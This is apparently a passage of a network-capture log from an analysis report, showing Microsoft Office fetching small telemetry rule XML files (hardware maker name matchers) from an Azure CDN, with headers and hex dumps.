Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:36 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:36 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 6ff76e76-001e-002b-21c5-2099f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200936Z-16849878b78x6gn56mgecg60qc000000017000000000vbpb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:36 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:36 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 43148558-a01e-0098-6adf-258556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200937Z-15b8d89586fdmfsg1u7xrpfws000000003pg00000000n654 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:36 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0124f848-201e-003f-38ad-246d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200937Z-15b8d89586flspj6y6m5fk442w000000057g00000000e5dh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:37 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:37 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 131e52ce-d01e-002b-553b-2225fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200937Z-16849878b786lft2mu9uftf3y400000000sg00000000czrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:37 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:37 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 26284338-e01e-0052-664d-22d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200937Z-16849878b786wvrz321uz1cknn000000087000000000d3eu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:37 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:37 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: c4337264-b01e-0070-640b-221cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200937Z-16849878b78bkvbz1ry47zvsas000000087g000000009x5u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:37 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:37 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d2baa5f3-801e-0078-3ff3-24bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200937Z-r197bdfb6b4t7wszkhsu1pyev000000000e0000000000fgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:37 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:37 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: e3c75742-001e-0014-79f3-245151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200937Z-r197bdfb6b4lbgfqwkqbrm672s00000001ug0000000168za x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:38 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: af8b8727-001e-00a2-18f5-24d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200938Z-15b8d89586fqj7k5h9gbd8vs9800000000pg00000000bwxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:38 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:38 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: efc778c0-f01e-0052-4de5-219224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200938Z-16849878b78gvgmlcfru6nuc54000000086g0000000061ab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:38 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:38 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:38 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 221e1266-901e-0016-4cfc-24efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200938Z-r197bdfb6b429k2s6br3k49qn400000005hg00000000f560 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:38 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:38 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:38 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 43d69f68-001e-00ad-61b4-24554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200938Z-15b8d89586fvpb597drk06r8fc00000000hg000000007w9y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
